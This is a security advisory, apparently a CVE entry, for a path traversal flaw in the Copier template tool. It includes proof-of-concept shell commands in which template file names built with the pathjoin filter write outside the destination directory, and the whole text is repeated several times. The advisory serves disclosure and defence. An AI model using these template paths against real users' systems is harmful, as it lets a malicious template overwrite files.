CVE-2025-55214

Copier library and CLI app for rendering project templates. From 7.1.0 to before 9.9.1, Copier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use unsafe features like custom Jinja extensions which would require passing the --UNSAFE,--trust flag. As it turns out, a safe template can currently write files outside the destination path where a project shall be generated or updated. This is possible when rendering a generated directory structure whose rendered path is either a relative parent path or an absolute path. Constructing such paths is possible using Copier's builtin pathjoin Jinja filter and its builtin _copier_conf.sep variable, which is the platform-native path separator. This way, a malicious template author can create a template that overwrites arbitrary files (according to the user's write permissions), e.g., to cause havoc. This vulnerability is fixed in 9.9.1.

Copier library and CLI app for rendering project templates. From 7.1.0 to before 9.9.1, Copier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use unsafe features like custom Jinja extensions which would require passing the --UNSAFE,--trust flag. As it turns out, a safe template can currently write files outside the destination path where a project shall be generated or updated. This is possible when rendering a generated directory structure whose rendered path is either a relative parent path or an absolute path. Constructing such paths is possible using Copier's builtin pathjoin Jinja filter and its builtin _copier_conf.sep variable, which is the platform-native path separator. This way, a malicious template author can create a template that overwrites arbitrary files (according to the user's write permissions), e.g., to cause havoc. This vulnerability is fixed in 9.9.1.

Impact

Copier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use unsafe features like custom Jinja extensions which would require passing the --UNSAFE,--trust flag. As it turns out, a safe template can currently write files outside the destination path where a project shall be generated or updated. This is possible when rendering a generated directory structure whose rendered path is either a relative parent path or an absolute path. Constructing such paths is possible using Copier's builtin pathjoin Jinja filter and its builtin _copier_conf.sep variable, which is the platform-native path separator. This way, a malicious template author can create a template that overwrites arbitrary files (according to the user's write permissions), e.g., to cause havoc.

Write access via generated relative path

Reproducible example:

echo "foo" > forbidden.txt
mkdir src/
echo "bar" > "src/{{ pathjoin('..', 'forbidden.txt') }}"
uvx copier copy src/ dst/
cat forbidden.txt

Write access via generated absolute path

Reproducible example:

• POSIX:

  # Assumption: The current working directory is `/tmp/test-copier-vulnerability/`
  echo "foo" > forbidden.txt
  mkdir src/
  echo "bar" > "src/{{ pathjoin(_copier_conf.sep, 'tmp', 'test-copier-vulnerability', 'forbidden.txt') }}"
  uvx --from copier python -O -m copier copy --overwrite src/ dst/
  cat forbidden.txt
  

• Windows (PowerShell):

  # Assumption: The current working directory is `C:\Users\<user>\Temp\test-copier-vulnerability`
  echo "foo" > forbidden.txt
  mkdir src
  Set-Content -Path src\copier.yml @'
  drive:
    type: str
    default: "C:"
    when: false
  '@
  echo "bar" > "src\{{ pathjoin(drive, 'Users', '<user>', 'Temp', 'test-copier-vulnerability', 'forbidden.txt') }}"
  uvx --from copier python -O -m copier copy --overwrite src dst
  cat forbidden.txt
  

This scenario is slightly less severe, as Copier has a few assertions of the destination path being relative which would typically be raised. But python -O (or PYTHONOPTIMIZE=x) removes asserts, so these guards may be ineffective. In addition, this scenario will prompt for overwrite confirmation or require the --overwrite flag for non-interactive mode; yet malicious file writes might go unnoticed.

Copier library and CLI app for rendering project templates. From 7.1.0 to before 9.9.1, Copier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use unsafe features like custom Jinja extensions which would require passing the --UNSAFE,--trust flag. As it turns out, a safe template can currently write files outside the destination path where a project shall be generated or updated. This is possible when rendering a generated directory structure whose rendered path is either a relative parent path or an absolute path. Constructing such paths is possible using Copier's builtin pathjoin Jinja filter and its builtin _copier_conf.sep variable, which is the platform-native path separator. This way, a malicious template author can create a template that overwrites arbitrary files (according to the user's write permissions), e.g., to cause havoc. This vulnerability is fixed in 9.9.1.

Copier library and CLI app for rendering project templates. From 7.1.0 to before 9.9.1, Copier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use unsafe features like custom Jinja extensions which would require passing the --UNSAFE,--trust flag. As it turns out, a safe template can currently write files outside the destination path where a project shall be generated or updated. This is possible when rendering a generated directory structure whose rendered path is either a relative parent path or an absolute path. Constructing such paths is possible using Copier's builtin pathjoin Jinja filter and its builtin _copier_conf.sep variable, which is the platform-native path separator. This way, a malicious template author can create a template that overwrites arbitrary files (according to the user's write permissions), e.g., to cause havoc. This vulnerability is fixed in 9.9.1.

Impact

Copier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use unsafe features like custom Jinja extensions which would require passing the --UNSAFE,--trust flag. As it turns out, a safe template can currently write files outside the destination path where a project shall be generated or updated. This is possible when rendering a generated directory structure whose rendered path is either a relative parent path or an absolute path. Constructing such paths is possible using Copier's builtin pathjoin Jinja filter and its builtin _copier_conf.sep variable, which is the platform-native path separator. This way, a malicious template author can create a template that overwrites arbitrary files (according to the user's write permissions), e.g., to cause havoc.

Write access via generated relative path

Reproducible example:

echo "foo" > forbidden.txt
mkdir src/
echo "bar" > "src/{{ pathjoin('..', 'forbidden.txt') }}"
uvx copier copy src/ dst/
cat forbidden.txt

Write access via generated absolute path

Reproducible example:

• POSIX:

  # Assumption: The current working directory is `/tmp/test-copier-vulnerability/`
  echo "foo" > forbidden.txt
  mkdir src/
  echo "bar" > "src/{{ pathjoin(_copier_conf.sep, 'tmp', 'test-copier-vulnerability', 'forbidden.txt') }}"
  uvx --from copier python -O -m copier copy --overwrite src/ dst/
  cat forbidden.txt
  

• Windows (PowerShell):

  # Assumption: The current working directory is `C:\Users\<user>\Temp\test-copier-vulnerability`
  echo "foo" > forbidden.txt
  mkdir src
  Set-Content -Path src\copier.yml @'
  drive:
    type: str
    default: "C:"
    when: false
  '@
  echo "bar" > "src\{{ pathjoin(drive, 'Users', '<user>', 'Temp', 'test-copier-vulnerability', 'forbidden.txt') }}"
  uvx --from copier python -O -m copier copy --overwrite src dst
  cat forbidden.txt
  

This scenario is slightly less severe, as Copier has a few assertions of the destination path being relative which would typically be raised. But python -O (or PYTHONOPTIMIZE=x) removes asserts, so these guards may be ineffective. In addition, this scenario will prompt for overwrite confirmation or require the --overwrite flag for non-interactive mode; yet malicious file writes might go unnoticed.

Impact

Copier suggests that it's safe to generate a project from a safe template, i.e. one that doesn't use unsafe features like custom Jinja extensions which would require passing the --UNSAFE,--trust flag. As it turns out, a safe template can currently write files outside the destination path where a project shall be generated or updated. This is possible when rendering a generated directory structure whose rendered path is either a relative parent path or an absolute path. Constructing such paths is possible using Copier's builtin pathjoin Jinja filter and its builtin _copier_conf.sep variable, which is the platform-native path separator. This way, a malicious template author can create a template that overwrites arbitrary files (according to the user's write permissions), e.g., to cause havoc.

Write access via generated relative path

Reproducible example:

echo "foo" > forbidden.txt
mkdir src/
echo "bar" > "src/{{ pathjoin('..', 'forbidden.txt') }}"
uvx copier copy src/ dst/
cat forbidden.txt

Write access via generated absolute path

Reproducible example:

• POSIX:

  # Assumption: The current working directory is `/tmp/test-copier-vulnerability/`
  echo "foo" > forbidden.txt
  mkdir src/
  echo "bar" > "src/{{ pathjoin(_copier_conf.sep, 'tmp', 'test-copier-vulnerability', 'forbidden.txt') }}"
  uvx --from copier python -O -m copier copy --overwrite src/ dst/
  cat forbidden.txt
  

• Windows (PowerShell):

  # Assumption: The current working directory is `C:\Users\<user>\Temp\test-copier-vulnerability`
  echo "foo" > forbidden.txt
  mkdir src
  Set-Content -Path src\copier.yml @'
  drive:
    type: str
    default: "C:"
    when: false
  '@
  echo "bar" > "src\{{ pathjoin(drive, 'Users', '<user>', 'Temp', 'test-copier-vulnerability', 'forbidden.txt') }}"
  uvx --from copier python -O -m copier copy --overwrite src dst
  cat forbidden.txt
  

This scenario is slightly less severe, as Copier has a few assertions of the destination path being relative which would typically be raised. But python -O (or PYTHONOPTIMIZE=x) removes asserts, so these guards may be ineffective. In addition, this scenario will prompt for overwrite confirmation or require the --overwrite flag for non-interactive mode; yet malicious file writes might go unnoticed.